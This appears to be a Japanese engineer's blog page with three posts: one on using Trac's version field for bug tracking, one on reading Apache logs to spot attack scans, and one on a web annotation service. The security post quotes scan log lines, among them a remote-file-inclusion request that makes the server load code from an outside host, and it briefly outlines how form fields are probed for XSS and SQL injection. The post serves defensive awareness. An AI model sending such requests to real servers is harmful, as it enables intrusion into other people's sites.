A Day In The Boy's Life -204ページ目

A Day In The Boy's Life

とあるエンジニアのとある1日のつぶやき。

前々からTracでチケットを登録する時の要素としてある「バージョン」って何に使うんだろうって思ってましたが、ソース管理上のバージョンのことだったのね・・・。

いや、そんなの当たり前と私も思うのですが、使うメリットがまったく見えていませんでした。

リポジトリブラウザも使っていないので、ソース管理とTracの連携を行わずに使っていたのでなかなか気づかず・・・。


で、具体的にどのように使うか(使ってみたか)というと、テストをする際のバグ出しにTracを活用してみたのですが、流れとしてはこんな感じです。


1. ソース管理上である時点までコミットされたものを、ステージング環境にアップします。


この時に、ソース管理上でバージョンタグを付与します。例えば「1.0」とします。


2. テスターにテストを開始してもらい、バグが発見された時点で、Tracにチケットを発行してもらいます。


この際に、テストしたステージング環境上のソースのバージョンをチケットのバージョン要素とイコールにしておきます。(これでチケットの要素のバージョンとソース管理上のバージョンがイコールになります)


3. ある一定の期間でテストを終了させ、それまでに上がったチケットに取り掛かりバグを修正していきます。


以後、この繰り返しで1.がくる度に、ソース管理上のバージョンを1つ繰り上げて登録(バージョン「2.0」が誕生)、それをステージング環境にまたあげなおし、そこで出たバグはそのバージョン(2.0)のチケットとして登録します。

こうする事で、それがどのバージョンのソースの時に出たバグなのかがぱっと分かります。


※ ソース管理上であまり細かくバージョンを付与しておくと、Tracにもそのバージョンを増やさないといけなくなるので結構

  手間になります。

  ですので、「1.0」「2.0」「3.0」などとかなりざっくりとバージョンをきってしまった方が管理しやすいと思います。


本番リリース後のバージョンの使い方も同様です。

現在本番環境で稼動しているソースのバージョンとそこで出た不具合や要望、課題などのチケットを登録する際にそれがどのリリースバージョンで上がってきたものなのかが分かりやすくなります。

リリース後も、開発が進んでいくことはよくある事なので、ソースのバージョンとチケットの関連性をうまく紐付け

しておけば、何時の頃から出ているバグなのか、それが今後の開発の中で取り込まれていく(いった)のかが分かりやすく整理できます。


Tracを本来のバグ管理(BTS)システムとしてではなく、タスク管理システムのように使っていたので、ちょっと目からうろこでした。




IT系の専門サイトを見てると、ちょくちょくセキュリティ関連の記事を目にしますが、多くの人は他人事として片付けているのではないでしょうか。

確かに多くの場合は、他人事です。

ただ、これは毎日TVをつけると交通事故のニュースをやっているのに、事故にあった人が実際に身近にいるかというと、早々いないのと同じです。


しかし、実際に事故は起きて(起きようとして)います。

それを確認したければ、自サイトのログを見てみるとよくわかります。


GET /phpMyAdmin-2.3.7-pl1/main.phpmain.php HTTP/1.0 with response code(s) 404 1 responses
GET /phpMyAdmin-2.5.0/main.phpmain.php HTTP/1.0 with response code(s) 404 1 responses
GET /phpMyAdmin-2.3.5-pl2/main.phpmain.php HTTP/1.0 with response code(s) 404 1 responses
GET /phpMyAdmin-2.4.2-rc2/main.phpmain.php HTTP/1.0 with response code(s) 404 1 responses
GET /phpMyAdmin-2.4.7-pl1/main.phpmain.php HTTP/1.0 with response code(s) 404 1 responses
GET /phpMyAdmin-2.5.2-rc1/main.phpmain.php HTTP/1.0 with response code(s) 404 1 responses 


例えば、これはApacheのログをLogwatchを使って集約させた結果ですが、phpMyAdminへのアクセスと、それが存在しなかったHTTPステータスコード(404)が出力されています。


※ Logwatchに関しては「Logwatchでサーバー上のログを集約する 」参照


しかし、このサイト上ではphpMyAdminは動かしていません。

見ると異なるバージョンのログが出ていますが、このように何らかのバージョンのphpMyAdminがこのサイト上で動作していないか総当りで調べようとしています。


これを行ったプログラム(恐らく)の作者が具体的に何を仕掛けようとしているのかは、分かりませんが少なくとも


・ phpMyAdminの脆弱性をつこうとしている

・ phpMyAdminはMySQLの管理ツールなので、MySQLの脆弱性をつこうとしている


の2つは読み取れます。
なので、このサイト上でphpMyAdminを動かしていた場合、次のアタックを受けてたことになるかと思います。


別のログではこのようなものも出ていました。


GET /report/webcreator.html//mods/config/load.inc.php?moddir=http://www.xxxx.com/Fungky/id2.txt? HTTP/1.1 with response code(s) 404 1 responses

これは、webcreatorというソフトウェアの脆弱性をつこうとしたアクセスの形跡のようです。

調べてみると、下記のように脆弱性がある事がわかります。


http://xforce.iss.net/xforce/xfdb/32972



その他にも特定のプログラム名を総当りで調べている形跡も見受けられることが多いと思います。


GET /version.php HTTP/1.1 with response code(s) 404 1 responses

ありがちなプログラム名ですが、調べてみるとpukiwiki に含まれていたりもします。

また、よく付ける名前なのでphpinfo 関数でPHPの詳細情報を出力するようなプログラムがサーバー内に残っていないかを調査するためのものかもしれません。

そこで得られた情報を元に、新たなアタックを仕掛ける事も可能です。(PHPのセキュリティ上のバグをつくような攻撃とか)


結局のところLinuxであろうがWindowsであろうが、そこでどんなソフトウェアを使っていようが、悪意あるものにとってはあまり関係がありません。

自分のおめがねにかなったサーバーが見つかるまで繰り返します。


また、特定のサイトに絞ってそこで動くアプリの脆弱性も簡単に調べ上げる事もできます。

Webサイトを構築した際によく言われるのが、クロスサイトスクリプティング(XSS) や、SQLインジェクション の問題です。

これらは、アプリ内でやり取りしているフォームデータに対して適切なチェックや変換が行われていないと発生する可能性がありますが、全てのフォームデータが適切に処理されているかどうかも、総当りで調べる事ができます。

例えば、あるアプリの正常系の処理をとりあえず行ってみて、そこでやり取りされているフォームデータをリストアップし(フォームのデータはクライアントのPCから送られることになるので、どんなデータが送られているかは簡単に調べられます)、それぞれのフォームデータに対して適切な処理が行われているかをチェックするような事で調べる事が可能です。


悪意あるものから見ればネットは宝の山です。

別に狙ったWebサイトに宝が無くてもかまいません。最終的に宝にありつければいいわけです。

そのために、あなたのWebサイトはその踏み台にされるかもしれません。

そうなると、「いや。クラッキングされたんだ」といったところで、それはそのWebサイトの運用管理がなっちゃいないと一蹴されるだけです。


ロールプレイングゲームをしていて、洞窟に入り宝箱を見つけたらどうするでしょうか?

まずは、開けてみると思います。

悪意ある側から見れば、ただそれだけの行為になります。




Webサイトに吹き出しを付けて共有する「今コレ」クローズドベータ公開 @ INTERNET Watch


少し前に「ブラウザの画面を自由にクリップできる「Nayuta」 」という記事でも紹介しましたが、こういう画面自体を共有の基盤にしてしまおうというサービスが最近多いですね。

はてブとかはブックマークしてもあくまで、はてなのサービス上を土俵にして情報が集約されているのですが、このサービスでは土俵がそのWebサイト自体になってきているという点。


一つ思うことは、今までそのWebサイトというのは鎖国をしているような状態で、幾ら周りが叫ぼうが侵犯不可な状態にあったのですが、これからは、こういったツールによってそのWebサイトそのものに簡単に潤色されてしまう可能性があるということです(もちろん良い面と悪い面の双方があるわけですが)


こういうサービスを使っていない人は、普通にそのWebサイトが見えるのですが、そのサービスを使っている人は、その画面に加えて周りの評判やらがリアルに見えてしまうわけです。

今までは、対岸でわーわー言ってたのが、自分の領土内でわーわー言われるようになるという事。


情報が一手に集約できる可能性としては、利用者・企業側にとって良い部分はあるものの、誹謗中傷が載る事もあるでしょうから諸刃の剣となりそうなサービスです。